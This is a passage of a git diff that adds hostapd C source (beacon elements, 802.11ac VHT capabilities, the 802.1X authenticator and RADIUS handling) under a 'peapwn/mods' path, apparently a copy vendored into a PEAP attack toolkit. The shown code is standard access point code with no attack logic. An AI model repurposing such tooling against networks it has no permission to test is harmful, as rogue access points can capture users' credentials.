List */ +#endif /* CONFIG_WNM */ + if (hapd->conf->time_advertisement == 2) + *pos |= 0x08; /* Bit 27 - UTC TSF Offset */ + if (hapd->conf->interworking) + *pos |= 0x80; /* Bit 31 - Interworking */ + break; + case 4: /* Bits 32-39 */ + if (hapd->conf->qos_map_set_len) + *pos |= 0x01; /* Bit 32 - QoS Map */ + if (hapd->conf->tdls & TDLS_PROHIBIT) + *pos |= 0x40; /* Bit 38 - TDLS Prohibited */ + if (hapd->conf->tdls & TDLS_PROHIBIT_CHAN_SWITCH) { + /* Bit 39 - TDLS Channel Switching Prohibited */ + *pos |= 0x80; + } + break; + case 5: /* Bits 40-47 */ + break; + case 6: /* Bits 48-55 */ + if (hapd->conf->ssid.utf8_ssid) + *pos |= 0x01; /* Bit 48 - UTF-8 SSID */ + break; + } +} + + +u8 * hostapd_eid_ext_capab(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + u8 len = 0, i; + + if (hapd->conf->tdls & (TDLS_PROHIBIT | TDLS_PROHIBIT_CHAN_SWITCH)) + len = 5; + if (len < 4 && hapd->conf->interworking) + len = 4; + if (len < 3 && hapd->conf->wnm_sleep_mode) + len = 3; + if (len < 7 && hapd->conf->ssid.utf8_ssid) + len = 7; +#ifdef CONFIG_WNM + if (len < 4) + len = 4; +#endif /* CONFIG_WNM */ + if (len < hapd->iface->extended_capa_len) + len = hapd->iface->extended_capa_len; + if (len == 0) + return eid; + + *pos++ = WLAN_EID_EXT_CAPAB; + *pos++ = len; + for (i = 0; i < len; i++, pos++) { + hostapd_ext_capab_byte(hapd, pos, i); + + if (i < hapd->iface->extended_capa_len) { + *pos &= ~hapd->iface->extended_capa_mask[i]; + *pos |= hapd->iface->extended_capa[i]; + } + } + + while (len > 0 && eid[1 + len] == 0) { + len--; + eid[1] = len; + } + if (len == 0) + return eid; + + return eid + 2 + len; +} + + +u8 * hostapd_eid_qos_map_set(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + u8 len = hapd->conf->qos_map_set_len; + + if (!len) + return eid; + + *pos++ = WLAN_EID_QOS_MAP_SET; + *pos++ = len; + os_memcpy(pos, hapd->conf->qos_map_set, len); + pos += len; + + return pos; +} + + +u8 * hostapd_eid_interworking(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; +#ifdef CONFIG_INTERWORKING + u8 *len; + + if (!hapd->conf->interworking) + return eid; + + *pos++ = WLAN_EID_INTERWORKING; + len = pos++; + + *pos = hapd->conf->access_network_type; + if (hapd->conf->internet) + *pos |= INTERWORKING_ANO_INTERNET; + if (hapd->conf->asra) + *pos |= INTERWORKING_ANO_ASRA; + if (hapd->conf->esr) + *pos |= INTERWORKING_ANO_ESR; + if (hapd->conf->uesa) + *pos |= INTERWORKING_ANO_UESA; + pos++; + + if (hapd->conf->venue_info_set) { + *pos++ = hapd->conf->venue_group; + *pos++ = hapd->conf->venue_type; + } + + if (!is_zero_ether_addr(hapd->conf->hessid)) { + os_memcpy(pos, hapd->conf->hessid, ETH_ALEN); + pos += ETH_ALEN; + } + + *len = pos - len - 1; +#endif /* CONFIG_INTERWORKING */ + + return pos; +} + + +u8 * hostapd_eid_adv_proto(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; +#ifdef CONFIG_INTERWORKING + + /* TODO: Separate configuration for ANQP? */ + if (!hapd->conf->interworking) + return eid; + + *pos++ = WLAN_EID_ADV_PROTO; + *pos++ = 2; + *pos++ = 0x7F; /* Query Response Length Limit | PAME-BI */ + *pos++ = ACCESS_NETWORK_QUERY_PROTOCOL; +#endif /* CONFIG_INTERWORKING */ + + return pos; +} + + +u8 * hostapd_eid_roaming_consortium(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; +#ifdef CONFIG_INTERWORKING + u8 *len; + unsigned int i, count; + + if (!hapd->conf->interworking || + hapd->conf->roaming_consortium == NULL || + hapd->conf->roaming_consortium_count == 0) + return eid; + + *pos++ = WLAN_EID_ROAMING_CONSORTIUM; + len = pos++; + + /* Number of ANQP OIs (in addition to the max 3 listed here) */ + if (hapd->conf->roaming_consortium_count > 3 + 255) + *pos++ = 255; + else if (hapd->conf->roaming_consortium_count > 3) + *pos++ = hapd->conf->roaming_consortium_count - 3; + else + *pos++ = 0; + + /* OU #1 and #2 Lengths */ + *pos = hapd->conf->roaming_consortium[0].len; + if (hapd->conf->roaming_consortium_count > 1) + *pos |= hapd->conf->roaming_consortium[1].len << 4; + pos++; + + if (hapd->conf->roaming_consortium_count > 3) + count = 3; + else + count = hapd->conf->roaming_consortium_count; + + for (i = 0; i < count; i++) { + os_memcpy(pos, hapd->conf->roaming_consortium[i].oi, + hapd->conf->roaming_consortium[i].len); + pos += hapd->conf->roaming_consortium[i].len; + } + + *len = pos - len - 1; +#endif /* CONFIG_INTERWORKING */ + + return pos; +} + + +u8 * hostapd_eid_time_adv(struct hostapd_data *hapd, u8 *eid) +{ + if (hapd->conf->time_advertisement != 2) + return eid; + + if (hapd->time_adv == NULL && + hostapd_update_time_adv(hapd) < 0) + return eid; + + if (hapd->time_adv == NULL) + return eid; + + os_memcpy(eid, wpabuf_head(hapd->time_adv), + wpabuf_len(hapd->time_adv)); + eid += wpabuf_len(hapd->time_adv); + + return eid; +} + + +u8 * hostapd_eid_time_zone(struct hostapd_data *hapd, u8 *eid) +{ + size_t len; + + if (hapd->conf->time_advertisement != 2) + return eid; + + len = os_strlen(hapd->conf->time_zone); + + *eid++ = WLAN_EID_TIME_ZONE; + *eid++ = len; + os_memcpy(eid, hapd->conf->time_zone, len); + eid += len; + + return eid; +} + + +int hostapd_update_time_adv(struct hostapd_data *hapd) +{ + const int elen = 2 + 1 + 10 + 5 + 1; + struct os_time t; + struct os_tm tm; + u8 *pos; + + if (hapd->conf->time_advertisement != 2) + return 0; + + if (os_get_time(&t) < 0 || os_gmtime(t.sec, &tm) < 0) + return -1; + + if (!hapd->time_adv) { + hapd->time_adv = wpabuf_alloc(elen); + if (hapd->time_adv == NULL) + return -1; + pos = wpabuf_put(hapd->time_adv, elen); + } else + pos = wpabuf_mhead_u8(hapd->time_adv); + + *pos++ = WLAN_EID_TIME_ADVERTISEMENT; + *pos++ = 1 + 10 + 5 + 1; + + *pos++ = 2; /* UTC time at which the TSF timer is 0 */ + + /* Time Value at TSF 0 */ + /* FIX: need to calculate this based on the current TSF value */ + WPA_PUT_LE16(pos, tm.year); /* Year */ + pos += 2; + *pos++ = tm.month; /* Month */ + *pos++ = tm.day; /* Day of month */ + *pos++ = tm.hour; /* Hours */ + *pos++ = tm.min; /* Minutes */ + *pos++ = tm.sec; /* Seconds */ + WPA_PUT_LE16(pos, 0); /* Milliseconds (not used) */ + pos += 2; + *pos++ = 0; /* Reserved */ + + /* Time Error */ + /* TODO: fill in an estimate on the error */ + *pos++ = 0; + *pos++ = 0; + *pos++ = 0; + *pos++ = 0; + *pos++ = 0; + + *pos++ = hapd->time_update_counter++; + + return 0; +} + + +u8 * hostapd_eid_bss_max_idle_period(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + +#ifdef CONFIG_WNM + if (hapd->conf->ap_max_inactivity > 0) { + unsigned int val; + *pos++ = WLAN_EID_BSS_MAX_IDLE_PERIOD; + *pos++ = 3; + val = hapd->conf->ap_max_inactivity; + if (val > 68000) + val = 68000; + val *= 1000; + val /= 1024; + if (val == 0) + val = 1; + if (val > 65535) + val = 65535; + WPA_PUT_LE16(pos, val); + pos += 2; + *pos++ = 0x00; /* TODO: Protected Keep-Alive Required */ + } +#endif /* CONFIG_WNM */ + + return pos; +} diff --git a/peapwn/mods/hostap/src/ap/ieee802_11_vht.c b/peapwn/mods/hostap/src/ap/ieee802_11_vht.c new file mode 100644 index 000000000..60e6b5724 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11_vht.c @@ -0,0 +1,172 @@ +/* + * hostapd / IEEE 802.11ac VHT + * Copyright (c) 2002-2009, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of BSD license + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "ap_config.h" +#include "sta_info.h" +#include "beacon.h" +#include "ieee802_11.h" + + +u8 * hostapd_eid_vht_capabilities(struct hostapd_data *hapd, u8 *eid) +{ + struct ieee80211_vht_capabilities *cap; + u8 *pos = eid; + + if (!hapd->iconf->ieee80211ac || !hapd->iface->current_mode || + hapd->conf->disable_11ac) + return eid; + + *pos++ = WLAN_EID_VHT_CAP; + *pos++ = sizeof(*cap); + + cap = (struct ieee80211_vht_capabilities *) pos; + os_memset(cap, 0, sizeof(*cap)); + cap->vht_capabilities_info = host_to_le32( + hapd->iface->conf->vht_capab); + + /* Supported MCS set comes from hw */ + os_memcpy(&cap->vht_supported_mcs_set, + hapd->iface->current_mode->vht_mcs_set, 8); + + pos += sizeof(*cap); + + return pos; +} + + +u8 * hostapd_eid_vht_operation(struct hostapd_data *hapd, u8 *eid) +{ + struct ieee80211_vht_operation *oper; + u8 *pos = eid; + + if (!hapd->iconf->ieee80211ac || hapd->conf->disable_11ac) + return eid; + + *pos++ = WLAN_EID_VHT_OPERATION; + *pos++ = sizeof(*oper); + + oper = (struct ieee80211_vht_operation *) pos; + os_memset(oper, 0, sizeof(*oper)); + + /* + * center freq = 5 GHz + (5 * index) + * So index 42 gives center freq 5.210 GHz + * which is channel 42 in 5G band + */ + oper->vht_op_info_chan_center_freq_seg0_idx = + hapd->iconf->vht_oper_centr_freq_seg0_idx; + oper->vht_op_info_chan_center_freq_seg1_idx = + hapd->iconf->vht_oper_centr_freq_seg1_idx; + + oper->vht_op_info_chwidth = hapd->iconf->vht_oper_chwidth; + + /* VHT Basic MCS set comes from hw */ + /* Hard code 1 stream, MCS0-7 is a min Basic VHT MCS rates */ + oper->vht_basic_mcs_set = host_to_le16(0xfffc); + pos += sizeof(*oper); + + return pos; +} + + +u16 copy_sta_vht_capab(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *vht_capab, size_t vht_capab_len) +{ + /* Disable VHT caps for STAs associated to no-VHT BSSes. */ + if (!vht_capab || + vht_capab_len < sizeof(struct ieee80211_vht_capabilities) || + hapd->conf->disable_11ac) { + sta->flags &= ~WLAN_STA_VHT; + os_free(sta->vht_capabilities); + sta->vht_capabilities = NULL; + return WLAN_STATUS_SUCCESS; + } + + if (sta->vht_capabilities == NULL) { + sta->vht_capabilities = + os_zalloc(sizeof(struct ieee80211_vht_capabilities)); + if (sta->vht_capabilities == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + sta->flags |= WLAN_STA_VHT; + os_memcpy(sta->vht_capabilities, vht_capab, + sizeof(struct ieee80211_vht_capabilities)); + + return WLAN_STATUS_SUCCESS; +} + +void hostapd_get_vht_capab(struct hostapd_data *hapd, + struct ieee80211_vht_capabilities *vht_cap, + struct ieee80211_vht_capabilities *neg_vht_cap) +{ + u32 cap, own_cap, sym_caps; + + if (vht_cap == NULL) + return; + os_memcpy(neg_vht_cap, vht_cap, sizeof(*neg_vht_cap)); + + cap = le_to_host32(neg_vht_cap->vht_capabilities_info); + own_cap = hapd->iconf->vht_capab; + + /* mask out symmetric VHT capabilities we don't support */ + sym_caps = VHT_CAP_SHORT_GI_80 | VHT_CAP_SHORT_GI_160; + cap &= ~sym_caps | (own_cap & sym_caps); + + /* mask out beamformer/beamformee caps if not supported */ + if (!(own_cap & VHT_CAP_SU_BEAMFORMER_CAPABLE)) + cap &= ~(VHT_CAP_SU_BEAMFORMEE_CAPABLE | + VHT_CAP_BEAMFORMEE_STS_MAX); + + if (!(own_cap & VHT_CAP_SU_BEAMFORMEE_CAPABLE)) + cap &= ~(VHT_CAP_SU_BEAMFORMER_CAPABLE | + VHT_CAP_SOUNDING_DIMENSION_MAX); + + if (!(own_cap & VHT_CAP_MU_BEAMFORMER_CAPABLE)) + cap &= ~VHT_CAP_MU_BEAMFORMEE_CAPABLE; + + if (!(own_cap & VHT_CAP_MU_BEAMFORMEE_CAPABLE)) + cap &= ~VHT_CAP_MU_BEAMFORMER_CAPABLE; + + /* mask channel widths we don't support */ + switch (own_cap & VHT_CAP_SUPP_CHAN_WIDTH_MASK) { + case VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ: + break; + case VHT_CAP_SUPP_CHAN_WIDTH_160MHZ: + if (cap & VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ) { + cap &= ~VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ; + cap |= VHT_CAP_SUPP_CHAN_WIDTH_160MHZ; + } + break; + default: + cap &= ~VHT_CAP_SUPP_CHAN_WIDTH_MASK; + break; + } + + if (!(cap & VHT_CAP_SUPP_CHAN_WIDTH_MASK)) + cap &= ~VHT_CAP_SHORT_GI_160; + + /* + * if we don't support RX STBC, mask out TX STBC in the STA's HT caps + * if we don't support TX STBC, mask out RX STBC in the STA's HT caps + */ + if (!(own_cap & VHT_CAP_RXSTBC_MASK)) + cap &= ~VHT_CAP_TXSTBC; + if (!(own_cap & VHT_CAP_TXSTBC)) + cap &= ~VHT_CAP_RXSTBC_MASK; + + neg_vht_cap->vht_capabilities_info = host_to_le32(cap); +} diff --git a/peapwn/mods/hostap/src/ap/ieee802_1x.c b/peapwn/mods/hostap/src/ap/ieee802_1x.c new file mode 100644 index 000000000..cc95d98d2 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_1x.c @@ -0,0 +1,2142 @@ +/* + * hostapd / IEEE 802.1X-2004 Authenticator + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "crypto/md5.h" +#include "crypto/crypto.h" +#include "crypto/random.h" +#include "common/ieee802_11_defs.h" +#include "radius/radius.h" +#include "radius/radius_client.h" +#include "eap_server/eap.h" +#include "eap_common/eap_wsc_common.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "eapol_auth/eapol_auth_sm_i.h" +#include "p2p/p2p.h" +#include "hostapd.h" +#include "accounting.h" +#include "sta_info.h" +#include "wpa_auth.h" +#include "preauth_auth.h" +#include "pmksa_cache_auth.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "ieee802_1x.h" + + +static void ieee802_1x_finished(struct hostapd_data *hapd, + struct sta_info *sta, int success); + + +static void ieee802_1x_send(struct hostapd_data *hapd, struct sta_info *sta, + u8 type, const u8 *data, size_t datalen) +{ + u8 *buf; + struct ieee802_1x_hdr *xhdr; + size_t len; + int encrypt = 0; + + len = sizeof(*xhdr) + datalen; + buf = os_zalloc(len); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "malloc() failed for " + "ieee802_1x_send(len=%lu)", + (unsigned long) len); + return; + } + + xhdr = (struct ieee802_1x_hdr *) buf; + xhdr->version = hapd->conf->eapol_version; + xhdr->type = type; + xhdr->length = host_to_be16(datalen); + + if (datalen > 0 && data != NULL) + os_memcpy(xhdr + 1, data, datalen); + + if (wpa_auth_pairwise_set(sta->wpa_sm)) + encrypt = 1; + if (sta->flags & WLAN_STA_PREAUTH) { + rsn_preauth_send(hapd, sta, buf, len); + } else { + hostapd_drv_hapd_send_eapol( + hapd, sta->addr, buf, len, + encrypt, hostapd_sta_flags_to_drv(sta->flags)); + } + + os_free(buf); +} + + +void ieee802_1x_set_sta_authorized(struct hostapd_data *hapd, + struct sta_info *sta, int authorized) +{ + int res; + + if (sta->flags & WLAN_STA_PREAUTH) + return; + + if (authorized) { + ap_sta_set_authorized(hapd, sta, 1); + res = hostapd_set_authorized(hapd, sta, 1); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "authorizing port"); + } else { + ap_sta_set_authorized(hapd, sta, 0); + res = hostapd_set_authorized(hapd, sta, 0); + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "unauthorizing port"); + } + + if (res && errno != ENOENT) { + wpa_printf(MSG_DEBUG, "Could not set station " MACSTR + " flags for kernel driver (errno=%d).", + MAC2STR(sta->addr), errno); + } + + if (authorized) { + os_get_time(&sta->connected_time); + accounting_sta_start(hapd, sta); + } +} + + +static void ieee802_1x_tx_key_one(struct hostapd_data *hapd, + struct sta_info *sta, + int idx, int broadcast, + u8 *key_data, size_t key_len) +{ + u8 *buf, *ekey; + struct ieee802_1x_hdr *hdr; + struct ieee802_1x_eapol_key *key; + size_t len, ekey_len; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL) + return; + + len = sizeof(*key) + key_len; + buf = os_zalloc(sizeof(*hdr) + len); + if (buf == NULL) + return; + + hdr = (struct ieee802_1x_hdr *) buf; + key = (struct ieee802_1x_eapol_key *) (hdr + 1); + key->type = EAPOL_KEY_TYPE_RC4; + WPA_PUT_BE16(key->key_length, key_len); + wpa_get_ntp_timestamp(key->replay_counter); + + if (random_get_bytes(key->key_iv, sizeof(key->key_iv))) { + wpa_printf(MSG_ERROR, "Could not get random numbers"); + os_free(buf); + return; + } + + key->key_index = idx | (broadcast ? 0 : BIT(7)); + if (hapd->conf->eapol_key_index_workaround) { + /* According to some information, WinXP Supplicant seems to + * interpret bit7 as an indication whether the key is to be + * activated, so make it possible to enable workaround that + * sets this bit for all keys. */ + key->key_index |= BIT(7); + } + + /* Key is encrypted using "Key-IV + MSK[0..31]" as the RC4-key and + * MSK[32..63] is used to sign the message. */ + if (sm->eap_if->eapKeyData == NULL || sm->eap_if->eapKeyDataLen < 64) { + wpa_printf(MSG_ERROR, "No eapKeyData available for encrypting " + "and signing EAPOL-Key"); + os_free(buf); + return; + } + os_memcpy((u8 *) (key + 1), key_data, key_len); + ekey_len = sizeof(key->key_iv) + 32; + ekey = os_malloc(ekey_len); + if (ekey == NULL) { + wpa_printf(MSG_ERROR, "Could not encrypt key"); + os_free(buf); + return; + } + os_memcpy(ekey, key->key_iv, sizeof(key->key_iv)); + os_memcpy(ekey + sizeof(key->key_iv), sm->eap_if->eapKeyData, 32); + rc4_skip(ekey, ekey_len, 0, (u8 *) (key + 1), key_len); + os_free(ekey); + + /* This header is needed here for HMAC-MD5, but it will be regenerated + * in ieee802_1x_send() */ + hdr->version = hapd->conf->eapol_version; + hdr->type = IEEE802_1X_TYPE_EAPOL_KEY; + hdr->length = host_to_be16(len); + hmac_md5(sm->eap_if->eapKeyData + 32, 32, buf, sizeof(*hdr) + len, + key->key_signature); + + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Sending EAPOL-Key to " MACSTR + " (%s index=%d)", MAC2STR(sm->addr), + broadcast ? "broadcast" : "unicast", idx); + ieee802_1x_send(hapd, sta, IEEE802_1X_TYPE_EAPOL_KEY, (u8 *) key, len); + if (sta->eapol_sm) + sta->eapol_sm->dot1xAuthEapolFramesTx++; + os_free(buf); +} + + +void ieee802_1x_tx_key(struct hostapd_data *hapd, struct sta_info *sta) +{ + struct eapol_authenticator *eapol = hapd->eapol_auth; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL || !sm->eap_if->eapKeyData) + return; + + wpa_printf(MSG_DEBUG, "IEEE 802.1X: Sending EAPOL-Key(s) to " MACSTR, + MAC2STR(sta->addr)); + +#ifndef CONFIG_NO_VLAN + if (sta->vlan_id > 0 && sta->vlan_id <= MAX_VLAN_ID) { + wpa_printf(MSG_ERROR, "Using WEP with vlans is not supported."); + return; + } +#endif /* CONFIG_NO_VLAN */ + + if (eapol->default_wep_key) { + ieee802_1x_tx_key_one(hapd, sta, eapol->default_wep_key_idx, 1, + eapol->default_wep_key, + hapd->conf->default_wep_key_len); + } + + if (hapd->conf->individual_wep_key_len > 0) { + u8 *ikey; + ikey = os_malloc(hapd->conf->individual_wep_key_len); + if (ikey == NULL || + random_get_bytes(ikey, hapd->conf->individual_wep_key_len)) + { + wpa_printf(MSG_ERROR, "Could not generate random " + "individual WEP key."); + os_free(ikey); + return; + } + + wpa_hexdump_key(MSG_DEBUG, "Individual WEP key", + ikey, hapd->conf->individual_wep_key_len); + + ieee802_1x_tx_key_one(hapd, sta, 0, 0, ikey, + hapd->conf->individual_wep_key_len); + + /* TODO: set encryption in TX callback, i.e., only after STA + * has ACKed EAPOL-Key frame */ + if (hostapd_drv_set_key(hapd->conf->iface, hapd, WPA_ALG_WEP, + sta->addr, 0, 1, NULL, 0, ikey, + hapd->conf->individual_wep_key_len)) { + wpa_printf(MSG_ERROR, "Could not set individual WEP " + "encryption."); + } + + os_free(ikey); + } +} + + +const char *radius_mode_txt(struct hostapd_data *hapd) +{ + switch (hapd->iface->conf->hw_mode) { + case HOSTAPD_MODE_IEEE80211AD: + return "802.11ad"; + case HOSTAPD_MODE_IEEE80211A: + return "802.11a"; + case HOSTAPD_MODE_IEEE80211G: + return "802.11g"; + case HOSTAPD_MODE_IEEE80211B: + default: + return "802.11b"; + } +} + + +int radius_sta_rate(struct hostapd_data *hapd, struct sta_info *sta) +{ + int i; + u8 rate = 0; + + for (i = 0; i < sta->supported_rates_len; i++) + if ((sta->supported_rates[i] & 0x7f) > rate) + rate = sta->supported_rates[i] & 0x7f; + + return rate; +} + + +#ifndef CONFIG_NO_RADIUS +static void ieee802_1x_learn_identity(struct hostapd_data *hapd, + struct eapol_state_machine *sm, + const u8 *eap, size_t len) +{ + const u8 *identity; + size_t identity_len; + + if (len <= sizeof(struct eap_hdr) || + eap[sizeof(struct eap_hdr)] != EAP_TYPE_IDENTITY) + return; + + identity = eap_get_identity(sm->eap, &identity_len); + if (identity == NULL) + return; + + /* Save station identity for future RADIUS packets */ + os_free(sm->identity); + sm->identity = (u8 *) dup_binstr(identity, identity_len); + if (sm->identity == NULL) { + sm->identity_len = 0; + return; + } + + sm->identity_len = identity_len; + hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "STA identity '%s'", sm->identity); + sm->dot1xAuthEapolRespIdFramesRx++; +} + + +static int add_common_radius_sta_attr(struct hostapd_data *hapd, + struct hostapd_radius_attr *req_attr, + struct sta_info *sta, + struct radius_msg *msg) +{ + char buf[128]; + + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_NAS_PORT) && + !radius_msg_add_attr_int32(msg, RADIUS_ATTR_NAS_PORT, sta->aid)) { + wpa_printf(MSG_ERROR, "Could not add NAS-Port"); + return -1; + } + + os_snprintf(buf, sizeof(buf), RADIUS_802_1X_ADDR_FORMAT, + MAC2STR(sta->addr)); + buf[sizeof(buf) - 1] = '\0'; + if (!radius_msg_add_attr(msg, RADIUS_ATTR_CALLING_STATION_ID, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_ERROR, "Could not add Calling-Station-Id"); + return -1; + } + + if (sta->flags & WLAN_STA_PREAUTH) { + os_strlcpy(buf, "IEEE 802.11i Pre-Authentication", + sizeof(buf)); + } else { + os_snprintf(buf, sizeof(buf), "CONNECT %d%sMbps %s", + radius_sta_rate(hapd, sta) / 2, + (radius_sta_rate(hapd, sta) & 1) ? ".5" : "", + radius_mode_txt(hapd)); + buf[sizeof(buf) - 1] = '\0'; + } + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_CONNECT_INFO) && + !radius_msg_add_attr(msg, RADIUS_ATTR_CONNECT_INFO, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_ERROR, "Could not add Connect-Info"); + return -1; + } + + if (sta->acct_session_id_hi || sta->acct_session_id_lo) { + os_snprintf(buf, sizeof(buf), "%08X-%08X", + sta->acct_session_id_hi, sta->acct_session_id_lo); + if (!radius_msg_add_attr(msg, RADIUS_ATTR_ACCT_SESSION_ID, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_ERROR, "Could not add Acct-Session-Id"); + return -1; + } + } + + return 0; +} + + +int add_common_radius_attr(struct hostapd_data *hapd, + struct hostapd_radius_attr *req_attr, + struct sta_info *sta, + struct radius_msg *msg) +{ + char buf[128]; + struct hostapd_radius_attr *attr; + + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_NAS_IP_ADDRESS) && + hapd->conf->own_ip_addr.af == AF_INET && + !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IP_ADDRESS, + (u8 *) &hapd->conf->own_ip_addr.u.v4, 4)) { + wpa_printf(MSG_ERROR, "Could not add NAS-IP-Address"); + return -1; + } + +#ifdef CONFIG_IPV6 + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_NAS_IPV6_ADDRESS) && + hapd->conf->own_ip_addr.af == AF_INET6 && + !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IPV6_ADDRESS, + (u8 *) &hapd->conf->own_ip_addr.u.v6, 16)) { + wpa_printf(MSG_ERROR, "Could not add NAS-IPv6-Address"); + return -1; + } +#endif /* CONFIG_IPV6 */ + + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_NAS_IDENTIFIER) && + hapd->conf->nas_identifier && + !radius_msg_add_attr(msg, RADIUS_ATTR_NAS_IDENTIFIER, + (u8 *) hapd->conf->nas_identifier, + os_strlen(hapd->conf->nas_identifier))) { + wpa_printf(MSG_ERROR, "Could not add NAS-Identifier"); + return -1; + } + + os_snprintf(buf, sizeof(buf), RADIUS_802_1X_ADDR_FORMAT ":%s", + MAC2STR(hapd->own_addr), + wpa_ssid_txt(hapd->conf->ssid.ssid, + hapd->conf->ssid.ssid_len)); + buf[sizeof(buf) - 1] = '\0'; + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_CALLED_STATION_ID) && + !radius_msg_add_attr(msg, RADIUS_ATTR_CALLED_STATION_ID, + (u8 *) buf, os_strlen(buf))) { + wpa_printf(MSG_ERROR, "Could not add Called-Station-Id"); + return -1; + } + + if (!hostapd_config_get_radius_attr(req_attr, + RADIUS_ATTR_NAS_PORT_TYPE) && + !radius_msg_add_attr_int32(msg, RADIUS_ATTR_NAS_PORT_TYPE, + RADIUS_NAS_PORT_TYPE_IEEE_802_11)) { + wpa_printf(MSG_ERROR, "Could not add NAS-Port-Type"); + return -1; + } + + if (sta && add_common_radius_sta_attr(hapd, req_attr, sta, msg) < 0) + return -1; + + for (attr = req_attr; attr; attr = attr->next) { + if (!radius_msg_add_attr(msg, attr->type, + wpabuf_head(attr->val), + wpabuf_len(attr->val))) { + wpa_printf(MSG_ERROR, "Could not add RADIUS " + "attribute"); + return -1; + } + } + + return 0; +} + + +static void ieee802_1x_encapsulate_radius(struct hostapd_data *hapd, + struct sta_info *sta, + const u8 *eap, size_t len) +{ + struct radius_msg *msg; + struct eapol_state_machine *sm = sta->eapol_sm; + + if (sm == NULL) + return; + + ieee802_1x_learn_identity(hapd, sm, eap, len); + + wpa_printf(MSG_DEBUG, "Encapsulating EAP message into a RADIUS " + "packet"); + + sm->radius_identifier = radius_client_get_id(hapd->radius); + msg = radius_msg_new(RADIUS_CODE_ACCESS_REQUEST, + sm->radius_identifier); + if (msg == NULL) { + wpa_printf(MSG_INFO, "Could not create new RADIUS packet"); + return; + } + + radius_msg_make_authenticator(msg, (u8 *) sta, sizeof(*sta)); + + if (sm->identity && + !radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, + sm->identity, sm->identity_len)) { + wpa_printf(MSG_INFO, "Could not add User-Name"); + goto fail; + } + + if (add_common_radius_attr(hapd, hapd->conf->radius_auth_req_attr, sta, + msg) < 0) + goto fail; + + /* TODO: should probably check MTU from driver config; 2304 is max for + * IEEE 802.11, but use 1400 to avoid problems with too large packets + */ + if (!hostapd_config_get_radius_attr(hapd->conf->radius_auth_req_attr, + RADIUS_ATTR_FRAMED_MTU) && + !radius_msg_add_attr_int32(msg, RADIUS_ATTR_FRAMED_MTU, 1400)) { + wpa_printf(MSG_INFO, "Could not add Framed-MTU"); + goto fail; + } + + if (eap && !radius_msg_add_eap(msg, eap, len)) { + wpa_printf(MSG_INFO, "Could not add EAP-Message"); + goto fail; + } + + /* State attribute must be copied if and only if this packet is + * Access-Request reply to the previous Access-Challenge */ + if (sm->last_recv_radius && + radius_msg_get_hdr(sm->last_recv_radius)->code == + RADIUS_CODE_ACCESS_CHALLENGE) { + int res = radius_msg_copy_attr(msg, sm->last_recv_radius, + RADIUS_ATTR_STATE); + if (res < 0) { + wpa_printf(MSG_INFO, "Could not copy State attribute from previous Access-Challenge"); + goto fail; + } + if (res > 0) { + wpa_printf(MSG_DEBUG, "Copied RADIUS State Attribute"); + } + } + + if (hapd->conf->radius_request_cui) { + const u8 *cui; + size_t cui_len; + /* Add previously learned CUI or nul CUI to request CUI */ + if (sm->radius_cui) { + cui = wpabuf_head(sm->radius_cui); + cui_len = wpabuf_len(sm->radius_cui); + } else { + cui = (const u8 *) "\0"; + cui_len = 1; + } + if (!radius_msg_add_attr(msg, + RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + cui, cui_len)) { + wpa_printf(MSG_ERROR, "Could not add CUI"); + goto fail; + } + } + + if (radius_client_send(hapd->radius, msg, RADIUS_AUTH, sta->addr) < 0) + goto fail; + + return; + + fail: + radius_msg_free(msg); +} +#endif /* CONFIG_NO_RADIUS */ + + +static void handle_eap_response(struct hostapd_data *hapd, + struct sta_info *sta, struct eap_hdr *eap, + size_t len) +{ + u8 type, *data; + struct eapol_state_machine *sm = sta->eapol_sm; + if (sm == NULL) + return; + + data = (u8 *) (eap + 1); + + if (len < sizeof(*eap) + 1) { + wpa_printf(MSG_INFO, "handle_eap_response: too short response data"); + return; + } + + sm->eap_type_supp = type = data[0]; + + hostapd_logger(hapd, sm->addr, 